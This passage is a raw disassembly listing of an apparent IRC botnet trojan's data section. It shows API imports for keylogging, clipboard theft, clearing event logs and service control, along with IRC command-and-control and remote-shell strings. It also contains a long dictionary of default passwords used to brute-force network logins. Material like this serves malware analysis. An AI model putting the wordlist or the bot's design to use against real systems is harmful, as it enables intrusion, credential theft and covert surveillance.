aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4012D6+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4012D6+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4012D6+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4012D6+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4012D6+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4012D6+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4012D6+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4012D6:loc_40162Do
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4012D6+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4012D6+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4012D6:loc_4015E8o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4012D6+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4012D6+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4012D6+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4012D6+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4012D6+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4012D6+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4012D6+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4012D6+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401535o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4012D6+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4012D6+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4012D6+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4012D6:loc_4014CEo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4012D6+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4012D6+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4012D6+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4012D6+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4012D6+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4012D6+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4012D6+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4012D6+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4012D6:loc_40140Bo
; ___crtMessageBoxA+13o
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4012D6:loc_4013DEo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4012D6+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4012D6+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4012D6+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4012D6+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4012D6+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4012D6+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4012D6+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4012D6+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4012D6+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4012D6+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4012D6+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4012D6+Ao
align 4
; char asc_42BF4C[]
asc_42BF4C db '-' ; DATA XREF: sub_401F92+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+2CCo
align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+298o
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+264o
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+230o
align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1FCo
align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+194o
align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_401F92+160o
align 4
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_401F92+12Co
align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+C4o
align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+90o
align 4
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+28o
align 4
; char a__0[]
a__0: ; DATA XREF: sub_410F37+155o
; sub_412135+24Co
unicode 0, <.>,0
unk_42C0DC db 2Dh ; - ; DATA XREF: sub_4022F5:loc_4023C2o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
; char asc_42C10C[]
asc_42C10C db '-' ; DATA XREF: sub_4022F5:loc_402393o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42C13C db 2Dh ; - ; DATA XREF: sub_4022F5:loc_402349o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
; char asc_42C160[]
asc_42C160 db '-' ; DATA XREF: sub_4022F5+44o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4023C9+41o
; sub_40BBBA+38o ...
aIntranet db 'intranet',0 ; DATA XREF: .data:0043C484o
align 4
aLan db 'lan',0 ; DATA XREF: .data:0043C47Co
aMain db 'main',0 ; DATA XREF: .data:0043C478o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: .data:0043C474o
aBlank db 'blank',0 ; DATA XREF: .data:0043C470o
align 10h
aOffice db 'office',0 ; DATA XREF: .data:0043C46Co
align 4
aControl db 'control',0 ; DATA XREF: .data:0043C468o
aXp db 'xp',0 ; DATA XREF: .data:0043C464o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:0043C460o
align 4
aHp db 'hp',0 ; DATA XREF: .data:0043C45Co
align 10h
aSiemens db 'siemens',0 ; DATA XREF: .data:0043C458o
aCompaq db 'compaq',0 ; DATA XREF: .data:0043C454o
align 10h
aDell db 'dell',0 ; DATA XREF: .data:0043C450o
align 4
aCisco_0 db 'cisco',0 ; DATA XREF: .text:0040C81Bo
; .data:0043C44Co
align 10h
aIbm db 'ibm',0 ; DATA XREF: .data:0043C448o
aOrainstall db 'orainstall',0 ; DATA XREF: .data:0043C440o
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0043C43Co
align 4
aSql db 'sql',0 ; DATA XREF: .data:0043C438o
; char aSa[]
aSa db 'sa',0 ; DATA XREF: sub_40274D+1A13o
; .data:0043C434o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:0043C430o
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:0043C428o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0043C424o
align 4
aData db 'data',0 ; DATA XREF: .data:0043C420o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0043C41Co
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0043C418o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: .data:0043C414o
align 4
aAccess db 'access',0 ; DATA XREF: .data:0043C410o
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0043C408o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0043C404o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:0043C400o
align 4
aHello db 'hello',0 ; DATA XREF: .data:0043C3FCo
align 4
aHell db 'hell',0 ; DATA XREF: .data:0043C3F8o
align 4
aGod db 'god',0 ; DATA XREF: .data:0043C3F4o
aSex db 'sex',0 ; DATA XREF: .data:0043C3F0o
; .data:off_4431D0o
aSlut db 'slut',0 ; DATA XREF: .data:0043C3ECo
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0043C3E8o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0043C3E4o
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:0043C3E0o
align 10h
aBackup db 'backup',0 ; DATA XREF: .data:0043C3DCo
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:0043C3D8o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0043C3D4o
align 10h
; char aLogin[]
aLogin db 'login',0 ; DATA XREF: sub_40274D+9B8o
; .data:0043C3D0o
align 4
aMary db 'mary',0 ; DATA XREF: .data:0043C3CCo
align 10h
aKatie db 'katie',0 ; DATA XREF: .data:0043C3C8o
align 4
aKate db 'kate',0 ; DATA XREF: .data:0043C3C0o
align 10h
aGeorge db 'george',0 ; DATA XREF: .data:0043C3BCo
align 4
aEric db 'eric',0 ; DATA XREF: .data:0043C3B8o
align 10h
aChris db 'chris',0 ; DATA XREF: .data:0043C3B4o
align 4
aIan db 'ian',0 ; DATA XREF: .data:0043C3B0o
aNeil db 'neil',0 ; DATA XREF: .data:0043C3ACo
align 4
aLee db 'lee',0 ; DATA XREF: .data:0043C3A8o
aBrian db 'brian',0 ; DATA XREF: .data:0043C3A4o
align 10h
aSusan db 'susan',0 ; DATA XREF: .data:0043C39Co
align 4
aSue db 'sue',0 ; DATA XREF: .data:0043C398o
aSam db 'sam',0 ; DATA XREF: .data:0043C394o
aLuke db 'luke',0 ; DATA XREF: .data:0043C390o
align 4
aPeter db 'peter',0 ; DATA XREF: .data:0043C38Co
; .data:0043C3A0o
align 10h
aJohn db 'john',0 ; DATA XREF: .data:0043C388o
align 4
aMike db 'mike',0 ; DATA XREF: .data:0043C384o
align 10h
aBill db 'bill',0 ; DATA XREF: .data:0043C380o
align 4
aFred db 'fred',0 ; DATA XREF: .data:0043C37Co
align 10h
aJoe db 'joe',0 ; DATA XREF: .data:0043C378o
aJen db 'jen',0 ; DATA XREF: .data:0043C374o
aBob db 'bob',0 ; DATA XREF: .data:0043C370o
; .data:0043C3C4o
aQwe db 'qwe',0 ; DATA XREF: .data:0043C36Co
aZxc db 'zxc',0 ; DATA XREF: .data:0043C368o
aAsd db 'asd',0 ; DATA XREF: .data:0043C364o
aQaz db 'qaz',0 ; DATA XREF: .data:0043C360o
aWin2000 db 'win2000',0 ; DATA XREF: .data:0043C35Co
aWinnt db 'winnt',0 ; DATA XREF: .data:0043C358o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:0043C354o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:0043C350o
align 4
aWin98 db 'win98',0 ; DATA XREF: .data:0043C34Co
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0043C348o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0043C344o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .data:0043C340o
aOem db 'oem',0 ; DATA XREF: .data:0043C33Co
; char aUser_0[]
aUser_0 db 'user',0 ; DATA XREF: sub_40274D+4422o
; .data:0043C338o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0043C334o
align 4
aHome db 'home',0 ; DATA XREF: .data:0043C330o
align 10h
aAccounting db 'accounting',0 ; DATA XREF: .data:0043C32Co
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0043C328o
align 4
aInternet db 'internet',0 ; DATA XREF: .data:0043C324o
; .data:0043C480o
align 4
aWww db 'www',0 ; DATA XREF: .data:0043C320o
aWeb db 'web',0 ; DATA XREF: .data:0043C31Co
aOutlook db 'outlook',0 ; DATA XREF: .data:0043C318o
aMail db 'mail',0 ; DATA XREF: .data:0043C314o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0043C310o
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:0043C30Co
align 4
; char aServer_1[]
aServer_1 db 'server',0 ; DATA XREF: sub_40274D+3BA6o
; .data:0043C304o
align 4
aSystem db 'system',0 ; DATA XREF: .data:0043C300o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0043C2F8o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0043C2F4o
align 10h
aUnix db 'unix',0 ; DATA XREF: .data:0043C2F0o
align 4
aDemo db 'demo',0 ; DATA XREF: .data:0043C2ECo
align 10h
aNone db 'none',0 ; DATA XREF: .data:0043C2E8o
align 4
aTest db 'test',0 ; DATA XREF: .data:0043C2E0o
align 10h
a2004 db '2004',0 ; DATA XREF: .data:0043C2DCo
align 4
a2003 db '2003',0 ; DATA XREF: sub_41D779+98o
; .data:0043C2D8o
align 10h
a2002 db '2002',0 ; DATA XREF: .data:0043C2D4o
align 4
a2001 db '2001',0 ; DATA XREF: .data:0043C2D0o
align 10h
a2000 db '2000',0 ; DATA XREF: .data:0043C2CCo
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:0043C2C8o
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:0043C2C4o
align 10h
a12345678 db '12345678',0 ; DATA XREF: .data:0043C2C0o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:0043C2BCo
a123456 db '123456',0 ; DATA XREF: .data:0043C2B8o
align 4
a12345 db '12345',0 ; DATA XREF: .data:0043C2B4o
align 4
a1234 db '1234',0 ; DATA XREF: .data:0043C2B0o
align 4
a123 db '123',0 ; DATA XREF: .data:0043C2ACo
a12 db '12',0 ; DATA XREF: .data:0043C2A8o
align 4
a1: ; DATA XREF: .data:0043C2A4o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:0043C2A0o
aPwd db 'pwd',0 ; DATA XREF: .data:0043C29Co
aPass_2 db 'pass',0 ; DATA XREF: .data:0043C298o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:0043C294o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:0043C290o
align 4
aPassword db 'password',0 ; DATA XREF: .data:0043C28Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: .data:0043C288o
align 4
aAdm db 'adm',0 ; DATA XREF: .data:0043C284o
aDb2 db 'db2',0 ; DATA XREF: .data:0043C260o
; .data:0043C42Co
aOracle db 'oracle',0 ; DATA XREF: .data:0043C25Co
; .data:0043C444o
align 4
aDba db 'dba',0 ; DATA XREF: .data:0043C258o
aDatabase db 'database',0 ; DATA XREF: .data:0043C254o
; .data:0043C40Co
align 4
aDefault db 'default',0 ; DATA XREF: .data:0043C250o
; .data:0043C2FCo
aGuest_0 db 'guest',0 ; DATA XREF: .data:0043C24Co
; .data:0043C2E4o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0043C248o
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .data:0043C244o
; .data:0043C48Co
aStudent db 'student',0 ; DATA XREF: .data:0043C240o
; .data:0043C488o
aOwner db 'owner',0 ; DATA XREF: .data:0043C23Co
align 4
aComputer db 'computer',0 ; DATA XREF: .data:0043C238o
align 4
aRoot db 'root',0 ; DATA XREF: .data:0043C234o
; .data:0043C308o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0043C230o
; .data:0043C490o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: .data:0043C22Co
; .data:0043C280o
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:0043C228o
; .data:0043C27Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0043C224o
; .data:0043C278o
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0043C220o
; .data:0043C274o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: .data:0043C21Co
; .data:0043C270o
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:off_43C218o
; .data:0043C26Co
align 10h
; a__p_a_w_a_a(*)
a__p_a_w_a_a__p db '..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a.',0
; DATA XREF: sub_40274D+3222o
; sub_40274D+32F9o ...
align 10h
a__p_a_w_a_a__0 db '..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a'
; DATA XREF: sub_40274D+35FBo
; sub_40274D+3634o ...
db '..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.'
db 'a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a'
db '.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.'
db 'a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..',0
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C16Co
align 4
aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C168o
align 4
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C164o
align 4
aMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43C160o
align 4
a@bxi_net db '*@bxi.net',0 ; DATA XREF: .data:off_43C15Co
align 4
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402472+61o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402472+37o
align 10h
; char asc_42C830[]
asc_42C830 db '-' ; DATA XREF: sub_4025EF+B5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 10h
; char aModeSS_0[]
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AE8o
align 10h
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AD3o
align 10h
; char asc_42C870[]
asc_42C870 db '-' ; DATA XREF: sub_40274D+7ABFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_42C890 db 2Dh ; - ; DATA XREF: sub_40274D+7AA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 10h
unk_42C8B0 db 2Dh ; - ; DATA XREF: sub_40274D+7A50o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
; char aNoticeSHostAut[]
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40274D+7A2Do
align 4
; char asc_42C904[]
asc_42C904 db '-' ; DATA XREF: sub_40274D+79E9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 10h
; char aNoticeSYourAtt[]
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_40274D+79DAo
; sub_40274D+7A41o
align 4
; char aNoticeSPassAut[]
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40274D+79C6o
align 4
; char asc_42C984[]
asc_42C984: ; DATA XREF: sub_40274D+799Co
unicode 0, <~>,0
; char byte_42C988[]
byte_42C988 db 4 dup(0) ; DATA XREF: sub_40274D+7990o
; sub_40E841+14o
; char asc_42C98C[]
asc_42C98C db '-' ; DATA XREF: sub_40274D+7957o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 10h
; char asc_42C9B0[]
asc_42C9B0 db '-' ; DATA XREF: sub_40274D+78E6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
; char asc_42C9D8[]
asc_42C9D8 db '-' ; DATA XREF: sub_40274D+78ACo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
; char asc_42C9FC[]
asc_42C9FC db '-' ; DATA XREF: sub_40274D+7884o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
; char asc_42CA20[]
asc_42CA20 db '-' ; DATA XREF: sub_40274D+785Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_42CA44 db 2Dh ; - ; DATA XREF: sub_40274D+7841o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_42CA68 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_40274D+7827o
dd 2E732520h, 0
; char asc_42CA84[]
asc_42CA84 db '-' ; DATA XREF: sub_40274D:loc_409F01o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_42CAB0 db 2Dh ; - ; DATA XREF: sub_40274D+77ADo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_42CAD4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409EC6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_42CAFC db 2Dh ; - ; DATA XREF: sub_40274D+776Fo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_40274D+7755o
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_40274D+7625o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_42CB50 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D59o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_42CB74 db 2Dh ; - ; DATA XREF: sub_40274D+7602o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
; char asc_42CB94[]
asc_42CB94 db '-' ; DATA XREF: sub_40274D+75D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42CBBC db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D02o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
; char asc_42CBE4[]
asc_42CBE4 db '-' ; DATA XREF: sub_40274D+758Ao
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_42CC04 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409C9Ao
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_42CC34 db 2Dh ; - ; DATA XREF: sub_40274D+7543o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
; char asc_42CC54[]
asc_42CC54 db '-' ; DATA XREF: sub_40274D:loc_409C3Fo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_40274D+74EBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_42CCA8 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_40274D+74A0o
dd 27732527h, 2Eh
; char asc_42CCC4[]
asc_42CCC4 db '-' ; DATA XREF: sub_40274D+7423o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_42CCE8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_40274D+73AFo
dd 0
; char asc_42CD00[]
asc_42CD00 db '-' ; DATA XREF: sub_40274D+736Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
; char asc_42CD40[]
asc_42CD40 db '-' ; DATA XREF: sub_40274D+7316o
db 3, 34h, 2
dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_42CD58[]
asc_42CD58 db '-' ; DATA XREF: sub_40274D:loc_4099C3o
db 3, 34h, 2
dd 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h, 746E6573h
dd 2Eh
unk_42CD74 db 2Dh ; - ; DATA XREF: sub_40274D+726Fo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
; char asc_42CD94[]
asc_42CD94 db '-' ; DATA XREF: sub_40274D+7230o
db 3, 34h, 2
dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h
unk_42CDAC db 2Dh ; - ; DATA XREF: sub_40274D+7228o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
; char asc_42CDD8[]
asc_42CDD8 db 0Ah,0 ; DATA XREF: sub_40274D+720Ao
; sub_412135+29o ...
align 4
unk_42CDDC db 2Dh ; - ; DATA XREF: sub_40274D+71E0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
; char asc_42CE00[]
asc_42CE00 db '-' ; DATA XREF: sub_40274D+71CAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
